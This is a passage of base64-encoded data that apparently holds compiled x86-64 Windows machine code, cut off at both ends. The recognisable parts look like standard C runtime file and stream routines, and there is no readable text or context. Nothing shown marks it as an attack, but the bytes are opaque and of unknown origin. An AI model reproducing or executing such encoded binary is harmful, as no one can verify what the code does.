tMJDBIM8zoL5P//0yNXCRASYtbQEmLa0hJi+NBX0FdQVxfXsNmiSjrj8xIiVwkCEiJVCQQV0iD7CBIi9oPt/kzwEiF0g+VwIXAdRfo1sf//8cAFgAAAOi3CwAAuP//AADrIkiLyujUrP//kEiL0w+3z+iw/f//D7f4SIvL6FWt//8Pt8dIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIItBGDP2SIvZJAM8AnU/90EYCAEAAHQ2izkreRCF/34t6Hyt//9Ii1MQRIvHi8joCoEAADvHdQ+LQxiEwHkPg+D9iUMY6weDSxggg87/SItLEINjCACLxkiLdCQ4SIkLSItcJDBIg8QgX8PMzMxAU0iD7CBIi9lIhcl1CkiDxCBb6TQAAADoZ////4XAdAWDyP/rIPdDGABAAAB0FUiLy+j9rP//i8jo7s0AAPfYG8DrAjPASIPEIFvDSIlcJAhIiXQkEEiJfCQYQVRBVUFXSIPsMESL6TP2M/+NTgHo5EsAAJAz20GDz/+JXCQgOx13JgMAD42AAAAATGPjSIsFVxYDAEqDPOAAdGhKixTg9kIYg3Rei8vo56v//5BIiwU3FgMASosM4PZBGIN0M0GD/QF1Eug2////QTvHdCP/xol0JCTrG0WF7XUW9kEYAnQQ6Bn///9BO8dBD0T/iXwkKEiLFfMVAwBKixTii8voEKz////D6XD///+5AQAAAOhDSgAAQYP9AQ9E/ovHSItcJFBIi3QkWEiLfCRgSIPEMEFfQV1BXMNIiVwkEEiJTCQIV0iD7CBIi9lIhcl1B+j4/v//6xro1ar//5BIi8vonP7//4v4SIvL6Fqr//+Lx0iLXCQ4SIPEIF/DzLkBAAAA6cb+///MzEiJXCQQSIl0JBhIiUwkCFdBVEFVSIPsIEmL8UWL4EyL6kiL2TP/i8dIhckPlcCFwHUY6FnF///HABYAAADoOgkAAIPI/+mwAAAAQYP4BHQLRYXAdBFBg/hAdddFhcB0BkGD+EB1DEmNQf5IPf3//393wEiD5v7oLar//5BIi8voeP3//0iLy+hEMgAAgWMY88L//4tDGEH2xAR0FoPIBIlDGEyNayC+AgAAAEiJdCRY6zFNhe11JEiLzuhl6f//TIvoSIXAdQv/BSP+AgCDz//rHoFLGAgEAADrCA0ABQAAiUMYiXMkTIlrEEyJK4l7CEiLy+hIqv//i8dIi1wkSEiLdCRQSIPEIEFdQVxfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFUSIPsIEmLWThIi/JNi+BIi+lMjUMESYvRSIvOSYv56DDm//9Ei1sERItVBEGLw0GD4wJBuAEAAABBI8BBgOJmRA9E2EWF23QUTIvPTYvESIvWSIvN6ALN//9Ei8BIi1wkMEiLbCQ4SIt0JEBIi3wkSEGLwEiDxCBBXMPMSIlcJAhXSIPsIPZCGEBIi9qL+Q+FigAAAEiLyujrqf//SI0VLN4CAEyNBWURAwBMY9hBg/v/dB1Bg/v+dBdJi8tJi8OD4R9IwfgFSGvJWEkDDMDrA0iLyvZBOH91J0GD+/90G0GD+/50FUmL00mLw4PiH0jB+AVIa9JYSQMUwPZCOIB0Huhmw///xwAWAAAA6EcHAACDyP9Ii1wkMEiDxCBfw4P//3Tt9kMYAXUM9kMYgHTh9kMYAnXbSIN7EAB1CEiLy+jnyQAASIsDSDtDEHUMg3sIAHW9SP/ASIkDSP8L9kMYQEiLA3QNQDg4dAtI/8BIiQPrnkCIOP9DCINjGO+DSxgBQA+2x+uNzEiJXCQISIlUJBBXSIPsIEiL2ov5M8BIhdIPlcCFwHUV6L/C///HABYAAADooAYAAIPI/+sfSIvK6L+n//+QSIvTi8/orP7//4v4SIvL6EKo//+Lx0iLXCQwSIPEIF/DzEiJXCQQSIlMJAhXSIPsIEiL2TP/M8BIhckPlcCFwHUY6F/C///HABYAAADoQAYAAIPI/+nBAAAA6F+n//+Q9kMYQA+FhgAAAEiLy+hQqP//g/j/dCqD+P50JUhj0EiLykjB+QVMjQW9DwMAg+IfSGvSWEkDFMhIjQ1r3AIA6xFIjQ1i3AIASIvRTI0FmA8DAPZCOH91JYP4/3Qag/j+dBVIY8hIi8FIwfgFg+EfSGvJWEkDDMD2QTiAdBPoxMH//8cAFgAAAOilBQAAg8//hf91Hf9LCHgOSIsDD7Y4SP/ASIkD6wpIi8voAx8AAIv4SIvL6D2n//+Lx0iLXCQ4SIPEIF/DSIlcJAhXSIPsIDPbSIv6SIXJdRXoZ8H//8cAFgAAAOhIBQAAg8j/6xdIhdJ05ugpzAAASIP4/0iJBw+Vw41D/0iLXCQwSIPEIF/DzEiJXCQISIlsJBBIiXQkGFdIg+wgi0EYQYv4SIvqSIvZqIMPhIAAAAAz9kWFwHQMQYP4AXQGQYP4AnVtg+DviUEYQYP4AXUK6NTIAACL/kgD6EiLy+hH+f//RItbGEWE23kKQYPj/ESJWxjrGkH2wwF0FEH2wwh0DkEPuuMKcgfHQyQAAgAASIvL6MKm//9Ei8dIi9WLyOhpzAAASIP4/0APlcaNRv/rDuiHwP//xwAWAAAAg8j/SItcJDBIi2wkOEiLdCRASIPEIF/DzEiJXCQQSIl0JBhIiUwkCFdIg+wgQYvYSIvySIv5M8BIhckPlcCFwHUV6DrA///HABYAAADoGwQAAIPI/+suhdt0CoP7AXQFg/sCdd3oL6X//5BEi8NIi9ZIi8/o1P7//4vYSIvP6K6l//+Lw0iLXCQ4SIt0JEBIg8QgX8NIg+woSIXJdRjo3r///8cAFgAAAOi/AwAAg8j/SIPEKMNIhdJ040iLEkUzwEiDxCjpT////8zMzEiD7Cjof8wAAEiFwHQKuRYAAADogMwAAPYFmdQCAAJ0FEG4AQAAALoVAABAQY1IAuh7AQAAuQMAAADozRkAAMyLBXLUAgBEi8IjykH30EQjwEQLwUSJBV3UAgDDSIlMJAhIgeyIAAAASI0NefkCAP8Ve08BAEiLBWT6AgBIiUQkWEUzwEiNVCRgSItMJFjokR4BAEiJRCRQSIN8JFAAdEFIx0QkOAAAAABIjUQkSEiJRCQwSI1EJEBIiUQkKEiNBST5AgBIiUQkIEyLTCRQTItEJFhIi1QkYDPJ6FEeAQDrIkiLhCSIAAAASIkF8PkCAEiNhCSIAAAASIPACEiJBX35AgBIiwXW+QIASIkFR/gCAEiLhCSQAAAASIkFSPkCAMcFHvgCAAkEAMDHBRj4AgABAAAASIsFVdMCAEiJRCRoSIsFUdMCAEiJRCRw/xWOTgEAiQWI+AIAuQEAAADoas0AADPJ/xVuTgEASI0NP2MBAP8VWU4BAIM9YvgCAAB1CrkBAAAA6ELNAAD/FVhMAQC6CQQAwEiLyP8VokwBAEiBxIgAAADDzMxIiQ0J/QIAw0iJXCQQSIl0JBhVV0FUSI2sJBD7//9IgezwBQAASIsFvNICAEgzxEiJheAEAABBi/iL8ovZg/n/dAXo3cwAAINkJHAASI1MJHQz0kG4lAAAAOgC7v//TI1cJHBIjUUQSI1NEEyJXCRISIlEJFD/Fc1NAQBMi6UIAQAASI1UJEBJi8xFM8Do6hwBAEiFwHQ3SINkJDgASItUJEBIjUwkYEiJTCQwSI1MJFhMi8hIiUwkKEiNTRBNi8RIiUwkIDPJ6LwcAQDrHEiLhQgFAABIiYUIAQAASI2FCAUAAEiJhagAAABIi4UIBQAAiXQkcIl8JHRIiUWA/xU1TQEAM8mL+P8VI00BAEiNTCRI/xUQTQEAhcB1EIX/dQyD+/90B4vL6PjLAABIi43gBAAASDPM6OWH//9MjZwk8AUAAEmLWyhJi3MwSYvjQVxfXcPMSIPsKEG4AQAAALoXBADAQY1IAeic/v///xXOSgEAuhcEAMBIi8hIg8QoSP8lE0sBAMzMzEiJXCQISIlsJBBIiXQkGFdIg+wwSIvpSIsNavsCAEGL2UmL+EiL8v8V60sBAESLy0yLx0iL1kiLzUiFwHQhTItUJGBMiVQkIP/QSItcJEBIi2wkSEiLdCRQSIPEMF/DSItEJGBIiUQkIOhe////zMxIg+w4SINkJCAARTPJRTPAM9Izyeh3////SIPEOMPMzEBTSIPsIEiFyXQNSIXSdAhNhcB1HESIAejXu///uxYAAACJGOi3////i8NIg8QgW8NMi8lNK8hBigBDiAQBSf/AhMB0BUj/ynXtSIXSdQ6IEeieu///uyIAAADrxTPA68rMzMxIi8RIiVgQSIloGEiJcCCJSAhXSIPsIEiLykiL2uiKof//i0sYSGPw9sGCdRfoXrv//8cACQAAAINLGCCDyP/pNAEAAPbBQHQN6EK7///HACIAAADr4jP/9sEBdBmJewj2wRAPhIkAAABIi0MQg+H+SIkDiUsYi0MYiXsIg+Dvg8gCiUMYqQwBAAB1L+gHn///SIPAMEg72HQO6Pme//9Ig8BgSDvYdQuLzugBygAAhcB1CEiLy+iVwQAA90MYCAEAAA+EjQAAAIsrSItTECtrEEiNQgFIiQOLQyT/yIlDCIXtfhlEi8WLzuhadAAAi/jrV4PJIIlLGOk/////g/7/dCOD/v50HkiLzkiLxkiNFSAIAwCD4R9IwfgFSGvJWEgDDMLrB0iNDcjUAgD2QQggdBcz0ovORI1CAughxgAASIP4/w+E7/7//0iLSxCKRCQwiAHrFr0BAAAASI1UJDCLzkSLxejfcwAAi/g7/Q+Fxf7//w+2RCQwSItcJDhIi2wkQEiLdCRISIPEIF/DzMzMSIlcJAhIiXQkEEiJfCQYVUFUQVVIi+xIg+xQM9tNi+BMi+lIi/JIjU3YRI1DKDPSSYv5SIld0OgY6v//SIX/dRXourn//8cAFgAAAOib/f//g8j/63ZNheR0BUiF9nThTItNSEyLRUC5////f0w74UGLxEiL1w9HwUiNTdDHRehCAAAASIl14EiJddCJRdhB/9WL+EiF9nQzhcB4If9N2HgISItF0IgY6xBIjVXQM8nou/3//4P4/3QEi8frDjld2EKIXCb/D53DjUP+TI1cJFBJi1sgSYtzKEmLezBJi+NBXUFcXcPMzEBTSIPsMEiL2U2FwHRHSIXJdEJIhdJ0PUiLRCRgSIlEJChMiUwkIE2LyEyLwkiL0UiNDb3JAADo3P7//4XAeQPGAwCD+P51IOjLuP//xwAiAAAA6wvovrj//8cAFgAAAOif/P//g8j/SIPEMFvDzMxIg+woRTPAugAQAAAzycdEJDACAAAA/xXgSAEASIkFkfcCAEiFwHQp/xXGSAEAPAZzGkiLDXv3AgBMjUQkMEG5BAAAADPS/xWgSAEAuAEAAABIg8Qow8zMSIPsKEiLDVH3AgD/FZtIAQBIgyVD9wIAAEiDxCjDzMzw/wFIi4EQAQAASIXAdAPw/wBIi4EgAQAASIXAdAPw/wBIi4EYAQAASIXAdAPw/wBIi4EwAQAASIXAdAPw/wBIjUFYQbgGAAAASI0VAM0CAEg5UPB0C0iLEEiF0nQD8P8CSIN4+AB0DEiLUAhIhdJ0A/D/AkiDwCBJ/8h1zEiLgVgBAADw/4BgAQAAw0iFyQ+ElwAAAEGDyf/wRAEJSIuBEAEAAEiFwHQE8EQBCEiLgSABAABIhcB0BPBEAQhIi4EYAQAASIXAdATwRAEISIuBMAEAAEiFwHQE8EQBCEiNQVhBuAYAAABIjRVizAIASDlQ8HQMSIsQSIXSdATwRAEKSIN4+AB0DUiLUAhIhdJ0BPBEAQpIg8AgSf/IdcpIi4FYAQAA8EQBiGABAABIi8HDSIlcJAhIiXQkEFdIg+wgSIuBKAEAAEiL2UiFwHR5SI0Nj8UCAEg7wXRtSIuDEAEAAEiFwHRhgzgAdVxIi4sgAQAASIXJdBaDOQB1EeiXh///SIuLKAEAAOifUwAASIuLGAEAAEiFyXQWgzkAdRHodYf//0iLiygBAADoqVAAAEiLixABAADoXYf//0iLiygBAADoUYf//0iLgzABAABIhcB0R4M4AHVCSIuLOAEAAEiB6f4AAADoLYf//0iLi0gBAAC/gAAAAEgrz+gZh///SIuLUAEAAEgrz+gKh///SIuLMAEAAOj+hv//SIuLWAEAAEiNBSzLAgBIO8h0GoO5YAEAAAB1EeiRSwAASIuLWAEAAOjRhv//SI17WL4GAAAASI0F+coCAEg5R/B0EkiLD0iFyXQKgzkAdQXoqYb//0iDf/gAdBNIi08ISIXJdAqDOQB1BeiPhv//SIPHIEj/znW+SIvLSItcJDBIi3QkOEiDxCBf6W+G///MzMxAU0iD7CBIi9pIhdJ0QUiFyXQ8TIsRTDvSdC9IiRFIi8roLv3//02F0nQfSYvK6K39//9BgzoAdRFIjQUozQIATDvQdAXoOv7//0iLw+sCM8BIg8QgW8PMQFNIg+wg6N0BAABIi9iLiMgAAACFDS7KAgB0GEiDuMAAAAAAdA7ovQEAAEiLmMAAAADrK7kMAAAA6C46AACQSI2LwAAAAEiLFSPOAgDoVv///0iL2LkMAAAA6A05AABIhdt1CI1LIOg0DwAASIvDSIPEIFvDzMzMM8lI/yU3RAEAzMzMSIPsKIsN+s0CAIP5/3QN/xX/RAEAgw3ozQIA/0iDxCjpOzgAAMzMzEiJXCQIV0iD7CBIi/pIi9lIjQUtdQEASImBoAAAAINhEADHQRwBAAAAx4HIAAAAAQAAAMaBdAEAAEPGgfcBAABDSI0F/M4CAEiJgbgAAAC5DQAAAOhnOQAAkEiLg7gAAADw/wC5DQAAAOhSOAAAuQwAAADoSDkAAJBIibvAAAAASIX/dQ5IiwU4zQIASImDwAAAAEiLi8AAAADosfv//5C5DAAAAOgWOAAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wg/xWMQQEAiw0OzQIAi/j/FQ5EAQBIi9hIhcB1SI1IAbrIAgAA6KnY//9Ii9hIhcB0M4sN48wCAEiL0P8VWkMBAEiLy4XAdBYz0ujw/v///xU+QwEASINLCP+JA+sH6ESE//8z24vP/xVGQQEASIvDSItcJDBIg8QgX8NAU0iD7CDocf///0iL2EiFwHUIjUgQ6J0NAABIi8NIg8QgW8NIhckPhCkBAABIiVwkEFdIg+wgSIvZSItJOEiFyXQF6OSD//9Ii0tISIXJdAXo1oP//0iLS1hIhcl0BejIg///SItLaEiFyXQF6LqD//9Ii0twSIXJdAXorIP//0iLS3hIhcl0Beieg///SIuLgAAAAEiFyXQF6I2D//9Ii4ugAAAASI0FW3MBAEg7yHQF6HWD//+/DQAAAIvP6ME3AACQSIuLuAAAAEiJTCQwSIXJdBzw/wl1F0iNBSfNAgBIi0wkMEg7yHQG6DyD//+Qi8/ojDYAALkMAAAA6II3AACQSIu7wAAAAEiF/3QrSIvP6In6//9IOz1qywIAdBpIjQUBygIASDv4dA6DPwB1CUiLz+gL+///kLkMAAAA6EA2AABIi8vo4IL//0iLXCQ4SIPEIF/DzEBTSIPsIEiL2YsNOcsCAIP5/3QkSIXbdQ//FTFCAQCLDSPLAgBIi9gz0v8VmEEBAEiLy+iU/v//SIPEIFvDzMxAU0iD7CDoBQkAAOjQNAAAhcB0YEiNDXH+////Ff9BAQCJBeHKAgCD+P90SLrIAgAAuQEAAADohdb//0iL2EiFwHQxiw2/ygIASIvQ/xU2QQEAhcB0HjPSSIvL6Mz8////FRpBAQBIg0sI/4kDuAEAAADrB+iL/P//M8BIg8QgW8PMzMxAU0iD7DBIi9m5DgAAAOhVNgAAkEiLQwhIhcB0P0iLDSDwAgBIjRUR8AIASIlMJCBIhcl0GUg5AXUPSItBCEiJQgjoyYH//+sFSIvR691Ii0sI6LmB//9Ig2MIALkOAAAA6AI1AABIg8QwW8PMzMzMzMxmZg8fhAAAAAAASCvRTIvK9sEHdBuKAUKKFAk6wnVWSP/BhMB0V0j3wQcAAAB15pBJuwABAQEBAQGBSo0UCWaB4v8PZoH6+A93y0iLAUqLFAlIO8J1v0m6//7+/v7+/n5MA9JIg/D/SIPBCEkzwkmFw3TH6w9IG8BIg9j/wzPAw2ZmZpCE0nQnhPZ0I0jB6hCE0nQbhPZ0F0jB6hCE0nQPhPZ0C8HqEITSdASE9nWLM8DDSBvASIPY/8NIiQ0Z7wIAw0BTSIPsIEiL2UiLDQjvAgD/FXI/AQBIhcB0EEiLy//QhcB0B7gBAAAA6wIzwEiDxCBbw8xMi9xJiVsISYlrGEmJcyBJiVMQV0FUQVVBVkFXSIPsQE2LeQhNizGLQQRJi3k4TSv3TYvhTIvqSIvpqGYPhe0AAABJY3FISYlLyE2JQ9BIi8Y7Nw+DgQEAAEgDwEiNXMcMi0P4TDvwD4KoAAAAi0P8TDvwD4OcAAAAg3sEAA+EkgAAAIM7AXQZiwNIjUwkMEmL1UkDx//QhcAPiIkAAAB+dIF9AGNzbeB1KEiDPcJLAQAAdB5IjQ25SwEA6BTLAACFwHQOugEAAABIi83/FaJLAQCLSwRBuAEAAABJi9VJA8/ongUAAEmLRCRAi1METGNNAEiJRCQoSYtEJChJA9dMi8VJi81IiUQkIP8VvD4BAOifBQAA/8ZIg8MQOzcPg7cAAADpOf///zPA6bAAAABNi0EgM+1FM+1NK8eoIHQ7M9I5F3Y1SI1PCItB/Ew7wHIHiwFMO8B2DP/CSIPBEDsXcxjr5YvCSAPAi0zHEIXJdQaLbMcM6wNEi+lJY3FISIveOzdzVUj/w0jB4wRIA9+LQ/RMO/ByOYtD+Ew78HMxRYXtdAVEOyt0MYXtdAU7a/x0KIM7AHUZSItUJHiNRgGxAUGJRCRIRItD/E0Dx0H/0P/GSIPDEDs3crW4AQAAAEyNXCRASYtbMEmLa0BJi3NISYvjQV9BXkFdQVxfw8zMzEiJXCQISIlsJBhIiXQkIFdBVEFVQVZBV0iD7DCLNWb3AgBFM/ZJi+lFjX4gRYvgSIvaTIvpRYvORYvWRYveZkQ5OnUKSIPDAmZEOTt09g+3A0G4AQAAAIP4YXQwg/hydCOD+Hd0F+hVrf//xwAWAAAA6Dbx//8zwOlDAgAAvwEDAADrDUGL/kEL8OsIvwkBAACDzgJIg8MCQYvQD7cDZoXAD4TDAQAAhdIPhPQAAAAPt8iD+VN/eXRqQSvPD4TRAAAAg+kLdEf/yXQ+g+kYdCeD6Qp0GYP5BHWMRYXSD4WnAAAARYvQg88Q6aUAAAAPuu8H6ZwAAABA9sdAD4WJAAAAg89A6YoAAABFi9jrfED2xwJ1doPn/oPm/IPPAg+67gfrcEWF0nViRYvQQQv/62OD6VR0T4PpDnQ8/8l0KoPpC3QXg/kGD4Ua////98cAwAAAdTYPuu8O6zlFhcl1K0WLyA+69g7rK0WFyXUdRYvID7ruDusd98cAwAAAdQwPuu8P6w8PuucMcwVBi9brBA+67wxIg8MCD7cDZoXAD4UE////RYXbD4S+AAAA6wRIg8MCZkQ5O3T2SI0NJVUBAEG4AwAAAEiL0+j70AAAhcAPhZH+//9Ig8MG6wRIg8MCZkQ5O3T2ZoM7PQ+Fd/7//0iDwwJmRDk7dPZIjRXsVAEAQbgFAAAASIvL6KqO//+FwHUKSIPDCg+67xLrTkiNFdlUAQBBuAgAAABIi8voh47//4XAdQpIg8MQD7rvEesrSI0VzlQBAEG4BwAAAEiLy+hkjv//hcAPhQr+//9Ig8MOD7rvEOsESIPDAmZEOTt09mZEOTMPhez9//9IjUwkaEWLzESLx0mL1cdEJCCAAQAA6P/PAACFwA+F2f3///8FfeQCAItEJGiJdRiJRRxEiXUITIl1AEiLxUyJdRBMiXUoSItcJGBIi2wkcEiLdCR4SIPEMEFfQV5BXUFcX8PMzMxIiVwkCEiJdCQQV0iD7DAz241LAegHMAAAkDP/iXwkIDs9ngoDAA+N7AAAAEhj90iLBX76AgBIgzzwAHRmSIsE8PZAGIN1VfdAGACAAAB1TI1H/YP4EHcQjU8Q6NguAACFwA+EsAAAAEiLFUX6AgBIixTyi8/o4o///0yLHTP6AgBJiwTz9kAYg3QMSIvQi8/oR5D//+sFSIvY63z/x+l5////uVgAAADox87//0iLyEhj/0iLBfr5AgBIiQz4SIXJdFVIg8EwuqAPAAD/FYo6AQCFwHUeSIsN1/kCAEiLDPno4nr//0yLHcf5AgBJgyT7AOskSIsFufkCAEiLDPhIg8Ew/xWDOQEATIsdpPkCAEmLHPuDYxgASIXbdB2BYxgAgAAAg2MIAEiDYxAASIMjAEiDYygAg0sc/7kBAAAA6NwtAABIi8NIi1wkQEiLdCRISIPEMF/DzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIgezYBAAATTPATTPJSIlkJCBMiUQkKOjGCAEASIHE2AQAAMPMzMzMzMxmDx9EAABIiUwkCEiJVCQYRIlEJBBJx8EgBZMZ6wjMzMzMzMxmkMPMzMzMzMxmDx+EAAAAAADDzMzMQFNIg+wgi9lIjQ1tUgEA/xX3NgEASIXAdBlIjRVLUgEASIvI/xXaNgEASIXAdASLy//QSIPEIFvDzMzMQFNIg+wgi9not////4vL/xU7OQEAzMzMuQgAAADp6i0AAMzMuQgAAADp3iwAAMzMQFNIg+wg6N3z//9Ii8hIi9joivj//0iLy+hy6v//SIvL6KqVAABIi8voos0AAEiLy+gatQAASIvLSIPEIFvpEZcAAMxIO8pzLUiJXCQIV0iD7CBIi/pIi9lIiwNIhcB0Av/QSIPDCEg733LtSItcJDBIg8QgX8PMSIlcJAhXSIPsIDPASIv6SIvZSDvKcxeFwHUTSIsLSIXJdAL/0UiDwwhIO99y6UiLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIEiDPcpMAQAAi9l0GEiNDb9MAQDo2sMAAIXAdAiLy/8VrkwBAOihpgAASI0VkjoBAEiNDWM6AQDofv///4XAdVpIjQ0XkAAA6IKk//9IjR3/OAEASI09ODoBAOsOSIsDSIXAdAL/0EiDwwhIO99y7UiDPSv3AgAAdB9IjQ0i9wIA6G3DAACFwHQPRTPAM8lBjVAC/xUK9wIAM8BIi1wkMEiDxCBfw8xIiVwkCEiJdCQQRIlEJBhXQVRBVUFWQVdIg+xARYvgi9pEi/m5CAAAAOhKLAAAkIM9fuYCAAEPhAEBAADHBWrmAgABAAAARIglX+YCAIXbD4XUAAAASIsNkPYCAP8VajYBAEiL8EiJRCQwSIXAD4SjAAAASIsNavYCAP8VTDYBAEiL+EiJRCQgTIv2SIl0JChMi+hIiUQkOEiD7whIiXwkIEg7/nJw6Nnx//9IOQd1AuvmSDv+cl9Iiw//FQw2AQBIi9jovPH//0iJB//TSIsNGPYCAP8V8jUBAEiL2EiLDQD2AgD/FeI1AQBMO/N1BUw76HS8TIvzSIlcJChIi/NIiVwkMEyL6EiJRCQ4SIv4SIlEJCDrmkiNFR85AQBIjQ0AOQEA6Lf9//9IjRUcOQEASI0NDTkBAOik/f//kEWF5HQPuQgAAADoLCoAAEWF5HUmxwVZ5QIAAQAAALkIAAAA6BMqAABBi8/ow/z//0GLz/8VRjYBAMxIi1wkcEiLdCR4SIPEQEFfQV5BXUFcX8PMRTPAQY1QAelk/v//M9IzyUSNQgHpV/7//8zMzEBTSIPsIIvZ6KcCAACLy+hAAAAARTPAuf8AAABBjVAB6C/+///MzMxMjQWxVwEAM8BJi9A7CnQO/8BIg8IQg/gWcvEzwMNImEgDwEmLRMAIw8zMzEiJXCQQSIlsJBhIiXQkIFdBVEFVSIHsUAIAAEiLBfK5AgBIM8RIiYQkQAIAAIv56KD///8z9kiL2EiFwA+E7gEAAI1OA+iKzQAAg/gBD4R1AQAAjU4D6HnNAACFwHUNgz1W3gIAAQ+EXAEAAIH//AAAAA+EuAEAAEiNLT3kAgBBvBQDAABMjQXwWAEASIvNQYvU6F0mAAAzyYXAD4UUAQAATI0tRuQCAEG4BAEAAGaJNUHmAgBJi9X/FQY1AQBBjXwk54XAdSpMjQV+WAEAi9dJi83oHCYAAIXAdBVFM8lFM8Az0jPJSIl0JCDokOf//8xJi83oqyYAAEj/wEiD+Dx2R0mLzeiaJgAATI0FM1gBAEG5AwAAAEiNTEW8SIvBSSvFSNH4SCv4SIvX6NTLAACFwHQVRTPJRTPAM9IzyUiJdCQg6Djn///MTI0F6FcBAEmL1EiLzeghywAAhcB1QUyLw0mL1EiLzegPywAAhcB1GkiNFXRXAQBBuBAgAQBIi83o7sgAAOmlAAAARTPJRTPAM9IzyUiJdCQg6OHm///MRTPJRTPAM9IzyUiJdCQg6Mzm///MRTPJRTPAM9JIiXQkIOi55v//zLn0/////xXBMgEASIv4SIXAdFVIg/j/dE+L1kyNRCRAigtBiAhmOTN0Ef/CSf/ASIPDAoH69AEAAHLlSI1MJEBAiLQkMwIAAOjXqP//TI1MJDBIjVQkQEiLz0yLwEiJdCQg/xXEMAEASIuMJEACAABIM8zoDG7//0yNnCRQAgAASYtbKEmLazBJi3M4SYvjQV1BXF/DzMzMSIPsKLkDAAAA6GbLAACD+AF0F7kDAAAA6FfLAACFwHUdgz003AIAAXUUufwAAADobP3//7n/AAAA6GL9//9Ig8Qow8xIiVwkCEiJdCQQV0iD7CBIi/lIhcl1Feh4ov//xwAWAAAA6Fnm///pEwEAAItBGKiDD4QIAQAAqEAPhQABAACoAnQLg8ggiUEY6fEAAACDyAGJQRipDAEAAHUH6PSoAADrB0iLQRBIiQFIi8/oP4j//0SLRyRIi1cQi8jo+AcAAIlHCIXAD4SjAAAAg/j/D4SaAAAA9kcYgnVfSIvP6A6I//+D+P90PEiLz+gBiP//g/j+dC9Ii8/o9If//0iLz0iNNXLvAgBIY9hIwfsF6N6H//9Ei9hBg+MfTWvbWEwDHN7rB0yNHQ68AgBBikMIJII8gnUFD7pvGA2BfyQAAgAAdRv2RxgIdBWLRyT3RxgABAAAuQAQAAAPRMGJRyRIiw//TwgPtgFI/8FIiQ/rFPfYG8CD4BCDwBAJRxiDZwgAg8j/SItcJDBIi3QkOEiDxCBfw8zMSIlUJBCJTCQIVVNWV0FUQVVBVkFXSIvsSIPsWEhjwUGL2MdF4P7///+JXeSD+P51Gegqof//M/+JOOgBof//xwAJAAAA6cUGAAAz/4XJD4ikBgAAOwV27gIAD4OYBgAASIvwTIv4TI0Ntxv8/0nB/wWD5h9Li4z5wNIGAEhr9liKRDEIqAEPhGwGAACB+////392F+jHoP//iTjooKD//8cAFgAAAOlfBgAARIvnhdsPhD4GAACoAg+FNgYAAEiF0nTRRIpsMThBuAQAAABFAu1B0P1BD77NRIhtYP/JdBT/yXULi8P30KgBdKiD4/5Mi/LrYIvD99CoAXSY0etBO9hBD0LYi8voyMT//0yL8EiFwHUb6Ceg///HAAwAAADoPKD//8cACAAAAOngBQAAi01IM9JEjUIB6DurAABMjQ3gGvz/TIvYS4uE+cDSBgBMiVwwQEuLhPnA0gYASYvWQbgKAAAA9kQwCEgPhJsAAACKTDAJQTrID4SOAAAAhdsPhIYAAABBiA5Li4T5wNIGAEGDyv9BA9pJjVYBRY1g90SIRDAJRYTtdGJLi4T5wNIGAIpMMDlBOsh0UYXbdE2ICkuLhPnA0gYAQQPaSP/CRY1g+ESIRDA5QYD9AXUuS4uE+cDSBgCKTDA6QTrIdB2F23QZiApLi4T5wNIGAEj/wkWNYPlBA9pEiEQwOkuLjPnA0gYATI1N3ESLw0iLDDFIiXwkIP8Vgy0BAIXAD4SIBAAASGNV3IXSD4h8BAAAi8NIO9APh3EEAABMjQXVGfz/RAPiS4uE+MDSBgD2RDAIgA+ENQQAAEGA/QIPhIwCAACF0nQNQYA+CnUHgEwwCATrBYBkMAj7SWPESYveTYvuSQPGSIlF6Ew78A+DGwEAAEG8DQAAAEGKRQA8Gg+E6gAAAEE6xHQNiANI/8NJ/8XpzAAAAEiLRehI/8hMO+hzF0mNRQGAOAp1BkmDxQLrfkyL6OmjAAAAS4uM+MDSBgBMjU3cSI1VWEiLDDFBuAEAAABJ/8VIiXwkIP8VnywBAIXAdQr/Ff0rAQCFwHVmOX3cdGFMjQX9GPz/S4uE+MDSBgD2RDAISHQagH1YCnQfRIgjS4uM+MDSBgCKRViIRDEJ6ztJO951C4B9WAp1BcYDCusri01IQbgBAAAASIPK/+gGqQAAgH1YCkyNBacY/P90D+sHTI0FnBj8/0SII0j/w0w7begPggz////rH0uLhPjA0gYA9kQwCEB1B4BMMAgC6wlBikUAiANI/8NEi+NFK+aAfWABD4XRAgAARYXkD4TIAgAASP/L9gOAdQhI/8PpsQAAALoBAAAA6w+D+gR/F0k73nISSP/L/8IPtgNCOLwAgJ4GAHTkD7YLQg++hAGAngYAhcB1E+gmnf//xwAqAAAAg8v/6XUCAAD/wDvCdQhIY8JIA9jrXUuLhPjA0gYA9kQwCEh0O0j/w4hMMAmD+gJ8EYoDS4uM+MDSBgBI/8OIRDE5g/oDdRGKA0uLjPjA0gYASP/DiEQxOkhjwkgr2OsTi01I99pBuAEAAABIY9Lo5acAAItF5EyLbVBBK97R6ESLy02LxolEJCgz0rnp/QAATIlsJCD/FQEsAQBEi+CFwHUV/xVMKgEAi8josZz//4PL/+nKAQAAO8OLXeBIjQVBF/z/SouE+MDSBgBAD5XHRQPkiXwwSOmmAQAAhdK6CgAAAHQNZkE5FnUHgEwwCATrBYBkMAj7SWPESYveTYvuSQPGSIlFYEw78A+DZQEAAEG8DQAAAEEPt0UAZoP4Gg+ELgEAAGZBO8R0EGaJA0iDwwJJg8UC6QwBAABIi0VgSIPA/kw76HMaSY1FAmY5EHUJSYPFBOmtAAAATIvo6d0AAABLi4z4wNIGAEyNTdxIjVXYSIsMMUG4AgAAAEmDxQJIiXwkIP8VAioBAIXAdQ7/FWApAQCFwA+FlgAAADl93A+EjQAAAEyNBVgW/P9Li4T4wNIGAPZEMAhIdDu6CgAAAGY5Vdh0QGZEiSOKRdhLi4z4wNIGAIhEMQmKRdlLi4z4wNIGAIhEMTlLi4T4wNIGAIhUMDrrTEk73nUQugoAAABmOVXYdQVmiRPrN4tNSEjHwv7///9EjUID6DqmAAC6CgAAAEyNBdoV/P9mOVXYdBbrDLoKAAAATI0FxhX8/2ZEiSNIg8MCTDttYA+Cxf7//+siS4uE+MDSBgD2RDAIQHUHgEwwCALrDEEPt0UAZokDSIPDAkSL40Ur5otd4EyLbVBNO/V0CEmLzuh6a///g/v+QQ9E3IvD61n/FVUoAQCD+AV1G+h3mv//xwAJAAAA6Iya///HAAUAAADpQf3//4P4bXUEi9/rtYvI6JGa///pLP3//zPA6xroY5r//4k46Dya///HAAkAAADoHd7//4PI/0iDxFhBX0FeQV1BXF9eW13DzEiJXCQQSIl0JBiJTCQIV0FUQVVBVkFXSIPsIEGL8EyL6khj+YP//nUZ6A6a/